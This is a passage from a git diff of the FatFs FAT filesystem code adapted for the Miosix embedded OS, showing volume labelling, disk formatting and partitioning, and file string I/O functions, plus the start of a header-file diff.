label in directory form */ + i = j = 0; + do { +#if _LFN_UNICODE + w = ff_convert(ff_wtoupper(label[i++]), 0); +#else + w = (BYTE)label[i++]; + if (IsDBCS1(w)) + w = (j < 10 && i < sl && IsDBCS2(label[i])) ? w << 8 | (BYTE)label[i++] : 0; +#if _USE_LFN + w = ff_convert(ff_wtoupper(ff_convert(w, 1)), 0); +#else + if (IsLower(w)) w -= 0x20; /* To upper ASCII characters */ +#ifdef _EXCVT + if (w >= 0x80) w = ExCvt[w - 0x80]; /* To upper extended characters (SBCS cfg) */ +#else + if (!_DF1S && w >= 0x80) w = 0; /* Reject extended characters (ASCII cfg) */ +#endif +#endif +#endif + if (!w || chk_chr("\"*+,.:;<=>\?[]|\x7F", w) || j >= (UINT)((w >= 0x100) ? 10 : 11)) /* Reject invalid characters for volume label */ + LEAVE_FF(dj.fs, FR_INVALID_NAME); + if (w >= 0x100) vn[j++] = (BYTE)(w >> 8); + vn[j++] = (BYTE)w; + } while (i < sl); + while (j < 11) vn[j++] = ' '; + } + + /* Set volume label */ + dj.sclust = 0; /* Open root directory */ + res = dir_sdi(&dj, 0); + if (res == FR_OK) { + res = dir_read(&dj, 1); /* Get an entry with AM_VOL */ + if (res == FR_OK) { /* A volume label is found */ + if (vn[0]) { + mem_cpy(dj.dir, vn, 11); /* Change the volume label name */ + tm = get_fattime(); + ST_DWORD(dj.dir+DIR_WrtTime, tm); + } else { + dj.dir[0] = DDE; /* Remove the volume label */ + } + dj.fs->wflag = 1; + res = sync_fs(dj.fs); + } else { /* No volume label is found or error */ + if (res == FR_NO_FILE) { + res = FR_OK; + if (vn[0]) { /* Create volume label as new */ + res = dir_alloc(&dj, 1); /* Allocate an entry for volume label */ + if (res == FR_OK) { + mem_set(dj.dir, 0, SZ_DIR); /* Set volume label */ + mem_cpy(dj.dir, vn, 11); + dj.dir[DIR_Attr] = AM_VOL; + tm = get_fattime(); + ST_DWORD(dj.dir+DIR_WrtTime, tm); + dj.fs->wflag = 1; + res = sync_fs(dj.fs); + } + } + } + } + } + + LEAVE_FF(dj.fs, res); +} + +#endif /* !_FS_READONLY */ +#endif /* _USE_LABEL */ + + + +/*-----------------------------------------------------------------------*/ +/* Forward data to the stream directly (available on only tiny cfg) */ +/*-----------------------------------------------------------------------*/ +#if _USE_FORWARD && _FS_TINY + +FRESULT f_forward ( + FIL* fp, /* Pointer to the file object */ + UINT (*func)(const BYTE*,UINT), /* Pointer to the streaming function */ + UINT btf, /* Number of bytes to forward */ + UINT* bf /* Pointer to number of bytes forwarded */ +) +{ + FRESULT res; + DWORD remain, clst, sect; + UINT rcnt; + BYTE csect; + + + *bf = 0; /* Clear transfer byte counter */ + + res = validate(fp); /* Check validity of the object */ + if (res != FR_OK) LEAVE_FF(fp->fs, res); + if (fp->err) /* Check error */ + LEAVE_FF(fp->fs, (FRESULT)fp->err); + if (!(fp->flag & FA_READ)) /* Check access mode */ + LEAVE_FF(fp->fs, FR_DENIED); + + remain = fp->fsize - fp->fptr; + if (btf > remain) btf = (UINT)remain; /* Truncate btf by remaining bytes */ + + for ( ; btf && (*func)(0, 0); /* Repeat until all data transferred or stream becomes busy */ + fp->fptr += rcnt, *bf += rcnt, btf -= rcnt) { + csect = (BYTE)(fp->fptr / SS(fp->fs) & (fp->fs->csize - 1)); /* Sector offset in the cluster */ + if ((fp->fptr % SS(fp->fs)) == 0) { /* On the sector boundary? */ + if (!csect) { /* On the cluster boundary? */ + clst = (fp->fptr == 0) ? /* On the top of the file? */ + fp->sclust : get_fat(fp->fs, fp->clust); + if (clst <= 1) ABORT(fp->fs, FR_INT_ERR); + if (clst == 0xFFFFFFFF) ABORT(fp->fs, FR_DISK_ERR); + fp->clust = clst; /* Update current cluster */ + } + } + sect = clust2sect(fp->fs, fp->clust); /* Get current data sector */ + if (!sect) ABORT(fp->fs, FR_INT_ERR); + sect += csect; + if (move_window(fp->fs, sect)) /* Move sector window */ + ABORT(fp->fs, FR_DISK_ERR); + fp->dsect = sect; + rcnt = SS(fp->fs) - (WORD)(fp->fptr % SS(fp->fs)); /* Forward data from sector window */ + if (rcnt > btf) rcnt = btf; + rcnt = (*func)(&fp->fs->win[(WORD)fp->fptr % SS(fp->fs)], rcnt); + if (!rcnt) ABORT(fp->fs, FR_INT_ERR); + } + + LEAVE_FF(fp->fs, FR_OK); +} +#endif /* _USE_FORWARD */ + + + +#if _USE_MKFS && !_FS_READONLY +/*-----------------------------------------------------------------------*/ +/* Create File System on the Drive */ +/*-----------------------------------------------------------------------*/ +#define N_ROOTDIR 512 /* Number of root directory entries for FAT12/16 */ +#define N_FATS 1 /* Number of FAT copies (1 or 2) */ + + +FRESULT f_mkfs ( + const TCHAR* path, /* Logical drive number */ + BYTE sfd, /* Partitioning rule 0:FDISK, 1:SFD */ + UINT au /* Allocation unit [bytes] */ +) +{ + static const WORD vst[] = { 1024, 512, 256, 128, 64, 32, 16, 8, 4, 2, 0}; + static const WORD cst[] = {32768, 16384, 8192, 4096, 2048, 16384, 8192, 4096, 2048, 1024, 512}; + int vol; + BYTE fmt, md, sys, *tbl, pdrv, part; + DWORD n_clst, vs, n, wsect; + UINT i; + DWORD b_vol, b_fat, b_dir, b_data; /* LBA */ + DWORD n_vol, n_rsv, n_fat, n_dir; /* Size */ + FATFS *fs; + DSTATUS stat; + + + /* Check mounted drive and clear work area */ + vol = get_ldnumber(&path); + if (vol < 0) return FR_INVALID_DRIVE; + if (sfd > 1) return FR_INVALID_PARAMETER; + if (au & (au - 1)) return FR_INVALID_PARAMETER; + fs = FatFs[vol]; + if (!fs) return FR_NOT_ENABLED; + fs->fs_type = 0; + pdrv = LD2PD(vol); /* Physical drive */ + part = LD2PT(vol); /* Partition (0:auto detect, 1-4:get from partition table)*/ + + /* Get disk statics */ + stat = RES_OK;//disk_initialize(pdrv); + if (stat & STA_NOINIT) return FR_NOT_READY; + if (stat & STA_PROTECT) return FR_WRITE_PROTECTED; +#if _MAX_SS != 512 /* Get disk sector size */ + if (disk_ioctl(pdrv, GET_SECTOR_SIZE, &SS(fs)) != RES_OK || SS(fs) > _MAX_SS) + return FR_DISK_ERR; +#endif + if (_MULTI_PARTITION && part) { + /* Get partition information from partition table in the MBR */ + if (disk_read(pdrv, fs->win, 0, 1)) return FR_DISK_ERR; + if (LD_WORD(fs->win+BS_55AA) != 0xAA55) return FR_MKFS_ABORTED; + tbl = &fs->win[MBR_Table + (part - 1) * SZ_PTE]; + if (!tbl[4]) return FR_MKFS_ABORTED; /* No partition? */ + b_vol = LD_DWORD(tbl+8); /* Volume start sector */ + n_vol = LD_DWORD(tbl+12); /* Volume size */ + } else { + /* Create a partition in this function */ + if (disk_ioctl(pdrv, GET_SECTOR_COUNT, &n_vol) != RES_OK || n_vol < 128) + return FR_DISK_ERR; + b_vol = (sfd) ? 0 : 63; /* Volume start sector */ + n_vol -= b_vol; /* Volume size */ + } + + if (!au) { /* AU auto selection */ + vs = n_vol / (2000 / (SS(fs) / 512)); + for (i = 0; vs < vst[i]; i++) ; + au = cst[i]; + } + au /= SS(fs); /* Number of sectors per cluster */ + if (au == 0) au = 1; + if (au > 128) au = 128; + + /* Pre-compute number of clusters and FAT sub-type */ + n_clst = n_vol / au; + fmt = FS_FAT12; + if (n_clst >= MIN_FAT16) fmt = FS_FAT16; + if (n_clst >= MIN_FAT32) fmt = FS_FAT32; + + /* Determine offset and size of FAT structure */ + if (fmt == FS_FAT32) { + n_fat = ((n_clst * 4) + 8 + SS(fs) - 1) / SS(fs); + n_rsv = 32; + n_dir = 0; + } else { + n_fat = (fmt == FS_FAT12) ? (n_clst * 3 + 1) / 2 + 3 : (n_clst * 2) + 4; + n_fat = (n_fat + SS(fs) - 1) / SS(fs); + n_rsv = 1; + n_dir = (DWORD)N_ROOTDIR * SZ_DIR / SS(fs); + } + b_fat = b_vol + n_rsv; /* FAT area start sector */ + b_dir = b_fat + n_fat * N_FATS; /* Directory area start sector */ + b_data = b_dir + n_dir; /* Data area start sector */ + if (n_vol < b_data + au - b_vol) return FR_MKFS_ABORTED; /* Too small volume */ + + /* Align data start sector to erase block boundary (for flash memory media) */ + if (disk_ioctl(pdrv, GET_BLOCK_SIZE, &n) != RES_OK || !n || n > 32768) n = 1; + n = (b_data + n - 1) & ~(n - 1); /* Next nearest erase block from current data start */ + n = (n - b_data) / N_FATS; + if (fmt == FS_FAT32) { /* FAT32: Move FAT offset */ + n_rsv += n; + b_fat += n; + } else { /* FAT12/16: Expand FAT size */ + n_fat += n; + } + + /* Determine number of clusters and final check of validity of the FAT sub-type */ + n_clst = (n_vol - n_rsv - n_fat * N_FATS - n_dir) / au; + if ( (fmt == FS_FAT16 && n_clst < MIN_FAT16) + || (fmt == FS_FAT32 && n_clst < MIN_FAT32)) + return FR_MKFS_ABORTED; + + /* Determine system ID in the partition table */ + if (fmt == FS_FAT32) { + sys = 0x0C; /* FAT32X */ + } else { + if (fmt == FS_FAT12 && n_vol < 0x10000) { + sys = 0x01; /* FAT12(<65536) */ + } else { + sys = (n_vol < 0x10000) ? 0x04 : 0x06; /* FAT16(<65536) : FAT12/16(>=65536) */ + } + } + + if (_MULTI_PARTITION && part) { + /* Update system ID in the partition table */ + tbl = &fs->win[MBR_Table + (part - 1) * SZ_PTE]; + tbl[4] = sys; + if (disk_write(pdrv, fs->win, 0, 1)) /* Write it to teh MBR */ + return FR_DISK_ERR; + md = 0xF8; + } else { + if (sfd) { /* No partition table (SFD) */ + md = 0xF0; + } else { /* Create partition table (FDISK) */ + mem_set(fs->win, 0, SS(fs)); + tbl = fs->win+MBR_Table; /* Create partition table for single partition in the drive */ + tbl[1] = 1; /* Partition start head */ + tbl[2] = 1; /* Partition start sector */ + tbl[3] = 0; /* Partition start cylinder */ + tbl[4] = sys; /* System type */ + tbl[5] = 254; /* Partition end head */ + n = (b_vol + n_vol) / 63 / 255; + tbl[6] = (BYTE)(n >> 2 | 63); /* Partition end sector */ + tbl[7] = (BYTE)n; /* End cylinder */ + ST_DWORD(tbl+8, 63); /* Partition start in LBA */ + ST_DWORD(tbl+12, n_vol); /* Partition size in LBA */ + ST_WORD(fs->win+BS_55AA, 0xAA55); /* MBR signature */ + if (disk_write(pdrv, fs->win, 0, 1)) /* Write it to the MBR */ + return FR_DISK_ERR; + md = 0xF8; + } + } + + /* Create BPB in the VBR */ + tbl = fs->win; /* Clear sector */ + mem_set(tbl, 0, SS(fs)); + mem_cpy(tbl, "\xEB\xFE\x90" "MSDOS5.0", 11);/* Boot jump code, OEM name */ + i = SS(fs); /* Sector size */ + ST_WORD(tbl+BPB_BytsPerSec, i); + tbl[BPB_SecPerClus] = (BYTE)au; /* Sectors per cluster */ + ST_WORD(tbl+BPB_RsvdSecCnt, n_rsv); /* Reserved sectors */ + tbl[BPB_NumFATs] = N_FATS; /* Number of FATs */ + i = (fmt == FS_FAT32) ? 0 : N_ROOTDIR; /* Number of root directory entries */ + ST_WORD(tbl+BPB_RootEntCnt, i); + if (n_vol < 0x10000) { /* Number of total sectors */ + ST_WORD(tbl+BPB_TotSec16, n_vol); + } else { + ST_DWORD(tbl+BPB_TotSec32, n_vol); + } + tbl[BPB_Media] = md; /* Media descriptor */ + ST_WORD(tbl+BPB_SecPerTrk, 63); /* Number of sectors per track */ + ST_WORD(tbl+BPB_NumHeads, 255); /* Number of heads */ + ST_DWORD(tbl+BPB_HiddSec, b_vol); /* Hidden sectors */ + n = get_fattime(); /* Use current time as VSN */ + if (fmt == FS_FAT32) { + ST_DWORD(tbl+BS_VolID32, n); /* VSN */ + ST_DWORD(tbl+BPB_FATSz32, n_fat); /* Number of sectors per FAT */ + ST_DWORD(tbl+BPB_RootClus, 2); /* Root directory start cluster (2) */ + ST_WORD(tbl+BPB_FSInfo, 1); /* FSINFO record offset (VBR+1) */ + ST_WORD(tbl+BPB_BkBootSec, 6); /* Backup boot record offset (VBR+6) */ + tbl[BS_DrvNum32] = 0x80; /* Drive number */ + tbl[BS_BootSig32] = 0x29; /* Extended boot signature */ + mem_cpy(tbl+BS_VolLab32, "NO NAME " "FAT32 ", 19); /* Volume label, FAT signature */ + } else { + ST_DWORD(tbl+BS_VolID, n); /* VSN */ + ST_WORD(tbl+BPB_FATSz16, n_fat); /* Number of sectors per FAT */ + tbl[BS_DrvNum] = 0x80; /* Drive number */ + tbl[BS_BootSig] = 0x29; /* Extended boot signature */ + mem_cpy(tbl+BS_VolLab, "NO NAME " "FAT ", 19); /* Volume label, FAT signature */ + } + ST_WORD(tbl+BS_55AA, 0xAA55); /* Signature (Offset is fixed here regardless of sector size) */ + if (disk_write(pdrv, tbl, b_vol, 1)) /* Write it to the VBR sector */ + return FR_DISK_ERR; + if (fmt == FS_FAT32) /* Write backup VBR if needed (VBR+6) */ + disk_write(pdrv, tbl, b_vol + 6, 1); + + /* Initialize FAT area */ + wsect = b_fat; + for (i = 0; i < N_FATS; i++) { /* Initialize each FAT copy */ + mem_set(tbl, 0, SS(fs)); /* 1st sector of the FAT */ + n = md; /* Media descriptor byte */ + if (fmt != FS_FAT32) { + n |= (fmt == FS_FAT12) ? 0x00FFFF00 : 0xFFFFFF00; + ST_DWORD(tbl+0, n); /* Reserve cluster #0-1 (FAT12/16) */ + } else { + n |= 0xFFFFFF00; + ST_DWORD(tbl+0, n); /* Reserve cluster #0-1 (FAT32) */ + ST_DWORD(tbl+4, 0xFFFFFFFF); + ST_DWORD(tbl+8, 0x0FFFFFFF); /* Reserve cluster #2 for root directory */ + } + if (disk_write(pdrv, tbl, wsect++, 1)) + return FR_DISK_ERR; + mem_set(tbl, 0, SS(fs)); /* Fill following FAT entries with zero */ + for (n = 1; n < n_fat; n++) { /* This loop may take a time on FAT32 volume due to many single sector writes */ + if (disk_write(pdrv, tbl, wsect++, 1)) + return FR_DISK_ERR; + } + } + + /* Initialize root directory */ + i = (fmt == FS_FAT32) ? au : n_dir; + do { + if (disk_write(pdrv, tbl, wsect++, 1)) + return FR_DISK_ERR; + } while (--i); + +#if _USE_ERASE /* Erase data area if needed */ + { + DWORD eb[2]; + + eb[0] = wsect; eb[1] = wsect + (n_clst - ((fmt == FS_FAT32) ? 1 : 0)) * au - 1; + disk_ioctl(pdrv, CTRL_ERASE_SECTOR, eb); + } +#endif + + /* Create FSINFO if needed */ + if (fmt == FS_FAT32) { + ST_DWORD(tbl+FSI_LeadSig, 0x41615252); + ST_DWORD(tbl+FSI_StrucSig, 0x61417272); + ST_DWORD(tbl+FSI_Free_Count, n_clst - 1); /* Number of free clusters */ + ST_DWORD(tbl+FSI_Nxt_Free, 2); /* Last allocated cluster# */ + ST_WORD(tbl+BS_55AA, 0xAA55); + disk_write(pdrv, tbl, b_vol + 1, 1); /* Write original (VBR+1) */ + disk_write(pdrv, tbl, b_vol + 7, 1); /* Write backup (VBR+7) */ + } + + return (disk_ioctl(pdrv, CTRL_SYNC, 0) == RES_OK) ? FR_OK : FR_DISK_ERR; +} + + + +#if _MULTI_PARTITION +/*-----------------------------------------------------------------------*/ +/* Divide Physical Drive */ +/*-----------------------------------------------------------------------*/ + +FRESULT f_fdisk ( + BYTE pdrv, /* Physical drive number */ + const DWORD szt[], /* Pointer to the size table for each partitions */ + void* work /* Pointer to the working buffer */ +) +{ + UINT i, n, sz_cyl, tot_cyl, b_cyl, e_cyl, p_cyl; + BYTE s_hd, e_hd, *p, *buf = (BYTE*)work; + DSTATUS stat; + DWORD sz_disk, sz_part, s_part; + + + stat = RES_OK;//disk_initialize(pdrv); + if (stat & STA_NOINIT) return FR_NOT_READY; + if (stat & STA_PROTECT) return FR_WRITE_PROTECTED; + if (disk_ioctl(pdrv, GET_SECTOR_COUNT, &sz_disk)) return FR_DISK_ERR; + + /* Determine CHS in the table regardless of the drive geometry */ + for (n = 16; n < 256 && sz_disk / n / 63 > 1024; n *= 2) ; + if (n == 256) n--; + e_hd = n - 1; + sz_cyl = 63 * n; + tot_cyl = sz_disk / sz_cyl; + + /* Create partition table */ + mem_set(buf, 0, _MAX_SS); + p = buf + MBR_Table; b_cyl = 0; + for (i = 0; i < 4; i++, p += SZ_PTE) { + p_cyl = (szt[i] <= 100U) ? (DWORD)tot_cyl * szt[i] / 100 : szt[i] / sz_cyl; + if (!p_cyl) continue; + s_part = (DWORD)sz_cyl * b_cyl; + sz_part = (DWORD)sz_cyl * p_cyl; + if (i == 0) { /* Exclude first track of cylinder 0 */ + s_hd = 1; + s_part += 63; sz_part -= 63; + } else { + s_hd = 0; + } + e_cyl = b_cyl + p_cyl - 1; + if (e_cyl >= tot_cyl) return FR_INVALID_PARAMETER; + + /* Set partition table */ + p[1] = s_hd; /* Start head */ + p[2] = (BYTE)((b_cyl >> 2) + 1); /* Start sector */ + p[3] = (BYTE)b_cyl; /* Start cylinder */ + p[4] = 0x06; /* System type (temporary setting) */ + p[5] = e_hd; /* End head */ + p[6] = (BYTE)((e_cyl >> 2) + 63); /* End sector */ + p[7] = (BYTE)e_cyl; /* End cylinder */ + ST_DWORD(p + 8, s_part); /* Start sector in LBA */ + ST_DWORD(p + 12, sz_part); /* Partition size */ + + /* Next partition */ + b_cyl += p_cyl; + } + ST_WORD(p, 0xAA55); + + /* Write it to the MBR */ + return (disk_write(pdrv, buf, 0, 1) || disk_ioctl(pdrv, CTRL_SYNC, 0)) ? FR_DISK_ERR : FR_OK; +} + + +#endif /* _MULTI_PARTITION */ +#endif /* _USE_MKFS && !_FS_READONLY */ + + + + +#if _USE_STRFUNC +/*-----------------------------------------------------------------------*/ +/* Get a string from the file */ +/*-----------------------------------------------------------------------*/ + +TCHAR* f_gets ( + TCHAR* buff, /* Pointer to the string buffer to read */ + int len, /* Size of string buffer (characters) */ + FIL* fp /* Pointer to the file object */ +) +{ + int n = 0; + TCHAR c, *p = buff; + BYTE s[2]; + UINT rc; + + + while (n < len - 1) { /* Read characters until buffer gets filled */ +#if _LFN_UNICODE +#if _STRF_ENCODE == 3 /* Read a character in UTF-8 */ + f_read(fp, s, 1, &rc); + if (rc != 1) break; + c = s[0]; + if (c >= 0x80) { + if (c < 0xC0) continue; /* Skip stray trailer */ + if (c < 0xE0) { /* Two-byte sequence */ + f_read(fp, s, 1, &rc); + if (rc != 1) break; + c = (c & 0x1F) << 6 | (s[0] & 0x3F); + if (c < 0x80) c = '?'; + } else { + if (c < 0xF0) { /* Three-byte sequence */ + f_read(fp, s, 2, &rc); + if (rc != 2) break; + c = c << 12 | (s[0] & 0x3F) << 6 | (s[1] & 0x3F); + if (c < 0x800) c = '?'; + } else { /* Reject four-byte sequence */ + c = '?'; + } + } + } +#elif _STRF_ENCODE == 2 /* Read a character in UTF-16BE */ + f_read(fp, s, 2, &rc); + if (rc != 2) break; + c = s[1] + (s[0] << 8); +#elif _STRF_ENCODE == 1 /* Read a character in UTF-16LE */ + f_read(fp, s, 2, &rc); + if (rc != 2) break; + c = s[0] + (s[1] << 8); +#else /* Read a character in ANSI/OEM */ + f_read(fp, s, 1, &rc); + if (rc != 1) break; + c = s[0]; + if (IsDBCS1(c)) { + f_read(fp, s, 1, &rc); + if (rc != 1) break; + c = (c << 8) + s[0]; + } + c = ff_convert(c, 1); /* OEM -> Unicode */ + if (!c) c = '?'; +#endif +#else /* Read a character without conversion */ + f_read(fp, s, 1, &rc); + if (rc != 1) break; + c = s[0]; +#endif + if (_USE_STRFUNC == 2 && c == '\r') continue; /* Strip '\r' */ + *p++ = c; + n++; + if (c == '\n') break; /* Break on EOL */ + } + *p = 0; + return n ? buff : 0; /* When no data read (eof or error), return with error. */ +} + + + +#if !_FS_READONLY +#include +/*-----------------------------------------------------------------------*/ +/* Put a character to the file */ +/*-----------------------------------------------------------------------*/ + +typedef struct { + FIL* fp; + int idx, nchr; + BYTE buf[64]; +} putbuff; + + +static +void putc_bfd ( + putbuff* pb, + TCHAR c +) +{ + UINT bw; + int i; + + + if (_USE_STRFUNC == 2 && c == '\n') /* LF -> CRLF conversion */ + putc_bfd(pb, '\r'); + + i = pb->idx; /* Buffer write index (-1:error) */ + if (i < 0) return; + +#if _LFN_UNICODE +#if _STRF_ENCODE == 3 /* Write a character in UTF-8 */ + if (c < 0x80) { /* 7-bit */ + pb->buf[i++] = (BYTE)c; + } else { + if (c < 0x800) { /* 11-bit */ + pb->buf[i++] = (BYTE)(0xC0 | c >> 6); + } else { /* 16-bit */ + pb->buf[i++] = (BYTE)(0xE0 | c >> 12); + pb->buf[i++] = (BYTE)(0x80 | (c >> 6 & 0x3F)); + } + pb->buf[i++] = (BYTE)(0x80 | (c & 0x3F)); + } +#elif _STRF_ENCODE == 2 /* Write a character in UTF-16BE */ + pb->buf[i++] = (BYTE)(c >> 8); + pb->buf[i++] = (BYTE)c; +#elif _STRF_ENCODE == 1 /* Write a character in UTF-16LE */ + pb->buf[i++] = (BYTE)c; + pb->buf[i++] = (BYTE)(c >> 8); +#else /* Write a character in ANSI/OEM */ + c = ff_convert(c, 0); /* Unicode -> OEM */ + if (!c) c = '?'; + if (c >= 0x100) + pb->buf[i++] = (BYTE)(c >> 8); + pb->buf[i++] = (BYTE)c; +#endif +#else /* Write a character without conversion */ + pb->buf[i++] = (BYTE)c; +#endif + + if (i >= (int)(sizeof pb->buf) - 3) { /* Write buffered characters to the file */ + f_write(pb->fp, pb->buf, (UINT)i, &bw); + i = (bw == (UINT)i) ? 0 : -1; + } + pb->idx = i; + pb->nchr++; +} + + + +int f_putc ( + TCHAR c, /* A character to be output */ + FIL* fp /* Pointer to the file object */ +) +{ + putbuff pb; + UINT nw; + + + pb.fp = fp; /* Initialize output buffer */ + pb.nchr = pb.idx = 0; + + putc_bfd(&pb, c); /* Put a character */ + + if ( pb.idx >= 0 /* Flush buffered characters to the file */ + && f_write(pb.fp, pb.buf, (UINT)pb.idx, &nw) == FR_OK + && (UINT)pb.idx == nw) return pb.nchr; + return EOF; +} + + + + +/*-----------------------------------------------------------------------*/ +/* Put a string to the file */ +/*-----------------------------------------------------------------------*/ + +int f_puts ( + const TCHAR* str, /* Pointer to the string to be output */ + FIL* fp /* Pointer to the file object */ +) +{ + putbuff pb; + UINT nw; + + + pb.fp = fp; /* Initialize output buffer */ + pb.nchr = pb.idx = 0; + + while (*str) /* Put the string */ + putc_bfd(&pb, *str++); + + if ( pb.idx >= 0 /* Flush buffered characters to the file */ + && f_write(pb.fp, pb.buf, (UINT)pb.idx, &nw) == FR_OK + && (UINT)pb.idx == nw) return pb.nchr; + return EOF; +} + + + + +/*-----------------------------------------------------------------------*/ +/* Put a formatted string to the file */ +/*-----------------------------------------------------------------------*/ + +int f_printf ( + FIL* fp, /* Pointer to the file object */ + const TCHAR* fmt, /* Pointer to the format string */ + ... /* Optional arguments... */ +) +{ + va_list arp; + BYTE f, r; + UINT nw, i, j, w; + DWORD v; + TCHAR c, d, s[16], *p; + putbuff pb; + + + pb.fp = fp; /* Initialize output buffer */ + pb.nchr = pb.idx = 0; + + va_start(arp, fmt); + + for (;;) { + c = *fmt++; + if (c == 0) break; /* End of string */ + if (c != '%') { /* Non escape character */ + putc_bfd(&pb, c); + continue; + } + w = f = 0; + c = *fmt++; + if (c == '0') { /* Flag: '0' padding */ + f = 1; c = *fmt++; + } else { + if (c == '-') { /* Flag: left justified */ + f = 2; c = *fmt++; + } + } + while (IsDigit(c)) { /* Precision */ + w = w * 10 + c - '0'; + c = *fmt++; + } + if (c == 'l' || c == 'L') { /* Prefix: Size is long int */ + f |= 4; c = *fmt++; + } + if (!c) break; + d = c; + if (IsLower(d)) d -= 0x20; + switch (d) { /* Type is... */ + case 'S' : /* String */ + p = va_arg(arp, TCHAR*); + for (j = 0; p[j]; j++) ; + if (!(f & 2)) { + while (j++ < w) putc_bfd(&pb, ' '); + } + while (*p) putc_bfd(&pb, *p++); + while (j++ < w) putc_bfd(&pb, ' '); + continue; + case 'C' : /* Character */ + putc_bfd(&pb, (TCHAR)va_arg(arp, int)); continue; + case 'B' : /* Binary */ + r = 2; break; + case 'O' : /* Octal */ + r = 8; break; + case 'D' : /* Signed decimal */ + case 'U' : /* Unsigned decimal */ + r = 10; break; + case 'X' : /* Hexdecimal */ + r = 16; break; + default: /* Unknown type (pass-through) */ + putc_bfd(&pb, c); continue; + } + + /* Get an argument and put it in numeral */ + v = (f & 4) ? (DWORD)va_arg(arp, long) : ((d == 'D') ? (DWORD)(long)va_arg(arp, int) : (DWORD)va_arg(arp, unsigned int)); + if (d == 'D' && (v & 0x80000000)) { + v = 0 - v; + f |= 8; + } + i = 0; + do { + d = (TCHAR)(v % r); v /= r; + if (d > 9) d += (c == 'x') ? 0x27 : 0x07; + s[i++] = d + '0'; + } while (v && i < sizeof s / sizeof s[0]); + if (f & 8) s[i++] = '-'; + j = i; d = (f & 1) ? '0' : ' '; + while (!(f & 2) && j++ < w) putc_bfd(&pb, d); + do putc_bfd(&pb, s[--i]); while (i); + while (j++ < w) putc_bfd(&pb, d); + } + + va_end(arp); + + if ( pb.idx >= 0 /* Flush buffered characters to the file */ + && f_write(pb.fp, pb.buf, (UINT)pb.idx, &nw) == FR_OK + && (UINT)pb.idx == nw) return pb.nchr; + return EOF; +} + +#endif /* !_FS_READONLY */ +#endif /* _USE_STRFUNC */ + +#endif //WITH_FILESYSTEM diff --git a/miosix/filesystem/fat32/ff.h b/miosix/filesystem/fat32/ff.h index dd74633d5..02d7dd6b1 100644 --- a/miosix/filesystem/fat32/ff.h +++ b/miosix/filesystem/fat32/ff.h @@ -1,385 +1,385 @@ -/*---------------------------------------------------------------------------/ -/ FatFs - FAT file system module include file R0.10 (C)ChaN, 2013 -/----------------------------------------------------------------------------/ -/ FatFs module is a generic FAT file system module for small embedded systems. -/ This is a free software that opened for education, research and commercial -/ developments under license policy of following terms. -/ -/ Copyright (C) 2013, ChaN, all right reserved. -/ -/ * The FatFs module is a free software and there is NO WARRANTY. -/ * No restriction on use. You can use, modify and redistribute it for -/ personal, non-profit or commercial product UNDER YOUR RESPONSIBILITY. -/ * Redistributions of source code must retain the above copyright notice. -/ -/----------------------------------------------------------------------------*/ - -/* - * This version of FatFs has been modified to adapt it to the requirements of - * Miosix: - * - C++: moved from C to C++ to allow calling other Miosix code - * - utf8: the original FatFs API supported only utf16 for file names, but the - * Miosix filesystem API has to be utf8 (aka, according with the - * "utf8 everywhere mainfesto", doesn't want to deal with that crap). - * For efficiency reasons the unicode conversion is done inside the FatFs code - * - removal of global variables: to allow to create an arbitrary number of - * independent Fat32 filesystems - * - unixification: removal of the dos-like drive numbering scheme and - * addition of an inode field in the FILINFO struct - */ - -#ifndef _FATFS -#define _FATFS 80960 /* Revision ID */ - -//#ifdef __cplusplus -//extern "C" { -//#endif - -#include -#include "config/miosix_settings.h" - -#include "integer.h" /* Basic integer types */ -#include "ffconf.h" /* FatFs configuration options */ - -#if _FATFS != _FFCONF -#error Wrong configuration file (ffconf.h). -#endif - -#ifdef WITH_FILESYSTEM - - - -/* Definitions of volume management */ - -#if _MULTI_PARTITION /* Multiple partition configuration */ -typedef struct { - BYTE pd; /* Physical drive number */ - BYTE pt; /* Partition: 0:Auto detect, 1-4:Forced partition) */ -} PARTITION; -extern PARTITION VolToPart[]; /* Volume - Partition resolution table */ -#define LD2PD(vol) (VolToPart[vol].pd) /* Get physical drive number */ -#define LD2PT(vol) (VolToPart[vol].pt) /* Get partition index */ - -#else /* Single partition configuration */ -#define LD2PD(vol) (BYTE)(vol) /* Each logical drive is bound to the same physical drive number */ -#define LD2PT(vol) 0 /* Find first valid partition or in SFD */ - -#endif - - - -/* Type of path name strings on FatFs API */ - -#if _LFN_UNICODE /* Unicode string */ -#if !_USE_LFN -#error _LFN_UNICODE must be 0 in non-LFN cfg. -#endif -#ifndef _INC_TCHAR -typedef WCHAR TCHAR; -#define _T(x) L ## x -#define _TEXT(x) L ## x -#endif - -#else /* ANSI/OEM string */ -#ifndef _INC_TCHAR -typedef char TCHAR; -#define _T(x) x -#define _TEXT(x) x -#endif - -#endif - -/* File access control feature */ -#ifdef _FS_LOCK -#if _FS_READONLY -#error _FS_LOCK must be 0 at read-only cfg. -#endif -struct FATFS; //Forward decl - -typedef struct { - FATFS *fs; /* Object ID 1, volume (NULL:blank entry) */ - DWORD clu; /* Object ID 2, directory */ - WORD idx; /* Object ID 3, directory index */ - WORD ctr; /* Object open counter, 0:none, 0x01..0xFF:read mode open count, 0x100:write mode */ -} FILESEM; -#endif - - -/* File system object structure (FATFS) */ - -struct FATFS { - BYTE fs_type; /* FAT sub-type (0:Not mounted) */ - //BYTE drv; /* Physical drive number */ - BYTE csize; /* Sectors per cluster (1,2,4...128) */ - BYTE n_fats; /* Number of FAT copies (1 or 2) */ - BYTE wflag; /* win[] flag (b0:dirty) */ - BYTE fsi_flag; /* FSINFO flags (b7:disabled, b0:dirty) */ - WORD id; /* File system mount ID */ - WORD n_rootdir; /* Number of root directory entries (FAT12/16) */ -#if _MAX_SS != 512 - WORD ssize; /* Bytes per sector (512, 1024, 2048 or 4096) */ -#endif -#if _FS_REENTRANT - _SYNC_t sobj; /* Identifier of sync object */ -#endif -#if !_FS_READONLY - DWORD last_clust; /* Last allocated cluster */ - DWORD free_clust; /* Number of free clusters */ -#endif -#if _FS_RPATH - DWORD cdir; /* Current directory start cluster (0:root) */ -#endif - DWORD n_fatent; /* Number of FAT entries (= number of clusters + 2) */ - DWORD fsize; /* Sectors per FAT */ - DWORD volbase; /* Volume start sector */ - DWORD fatbase; /* FAT start sector */ - DWORD dirbase; /* Root directory start sector (FAT32:Cluster#) */ - DWORD database; /* Data start sector */ - DWORD winsect; /* Current sector appearing in the win[] */ - BYTE win[_MAX_SS] __attribute__((aligned(4))); /* Disk access window for Directory, FAT (and file data at tiny cfg) */ -#if _USE_LFN == 1 - WCHAR LfnBuf[_MAX_LFN+1]; -#endif -#ifdef _FS_LOCK - 